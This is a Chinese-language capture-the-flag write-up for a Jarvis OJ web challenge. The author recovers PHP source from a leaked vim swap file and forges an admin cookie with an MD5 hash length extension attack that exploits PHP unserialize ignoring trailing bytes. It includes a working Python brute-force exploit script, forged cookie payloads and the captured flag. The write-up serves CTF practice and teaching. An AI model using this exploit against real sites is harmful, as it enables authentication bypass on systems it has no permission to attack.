描述
只有管理员才能获得flag,你能想办法获得吗?Only Admin can see the flag!!题目链接:http://web.jarvisoj.com:32778/
分析
- 抓包看见:
Cookie: role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
。
解url编码得到role=s:5:"guest";那么就改成 role=s%3A5%3A%22Admin%22%3B,嗯,不行,人家又没那么傻。于是变成了hsh值的问题。 - 随便试试把hsh参数删掉,回显Notice</b>: Undefined index: hsh in <b>/opt/lampp/htdocs/index.php</b> on line <b>20</b><br />
- 走投无路,找源码泄露。扫描发现index.php~,访问下了个vim临时文件(.index.php.swp),vim -r index.php后保存。
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
结论有:
a.role === admin
b. hsh === md5($salt.strrev($_COOKIE["role"]))
已知md5(salt+';"tseug":5:s')——3a4727d57463f122833d9e732f94e4e0,需要得到md5(salt+';"nimda":5:s')作为hsh提交。注意那个rev!
- 熟悉的节奏!类似hash拓展攻击!但是略有不同!
已经做过的hash拓展攻击:
hash_extender:已知hash{secret(已知长度)},求hash{secret (已知长度)|| data (填充字段)|| attacker_controlled_data(自定义字符串)}
hashpumpy:hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
本题:已知md5(secret(未知长度)+string1),求md5{secret||%00等填充字段||2string}
最大的不同就是不知道salt长度!能有多长!到64够不够!爆破不就可以了! - 卡壳求助场外:
PHP在反序列化时,会忽略后面多余的字符。所以其实可以变成求md5(salt+';"tseug":5:s'+填充字段+';"nimda":5:s'),这样就可以套上hash拓展攻击了! - 撸代码。
a. 一开始疯狂的跟我说无法识别
14 {'hsh': 'fcdc3840332555511c4e4323f6decb07', 'role': 's:5:"admin";\x00\x00\x00\x00\x00\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80s:5:"guest";'} <p>Your browser sent a request that this server could not understand.<br />
翻了资料发现hashpumpy还要手动把\x改成%?可是上次不是说好了不用改吗QAQ,说好的requests会自动url编码呢!
搜了下发现requests会自动把url和post字段进行url编码,但是cookies不会!
诶那上次的不是post吗为什么要decode('hex')!仔细看了下上次的结果是bytes,r'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',好吧!
b. 改成urllib.quote(message[::-1])后搞定
12 {'hsh': 'fcdc3840332555511c4e4323f6decb07', 'role': 's%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B'} Wel come Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3}
# -*- coding: utf-8 -*-
import requests,hashpumpy,urllib
def webre(): #py2
url = 'http://web.jarvisoj.com:32778/'
sha = '3a4727d57463f122833d9e732f94e4e0'
string0 = ';"tseug":5:s'
string1 = ';"nimda":5:s'
for i in range(15):
digest, message = hashpumpy.hashpump(sha,string0,string1,i)
payload ={'role':urllib.quote(message[::-1]), 'hsh':digest}
#payload ={'role':(message[::-1]), 'hsh':digest}
print i,payload
html = requests.get(url,cookies=payload).text#提交答案
if 'Welcome' in html:
print html
webre()
网友评论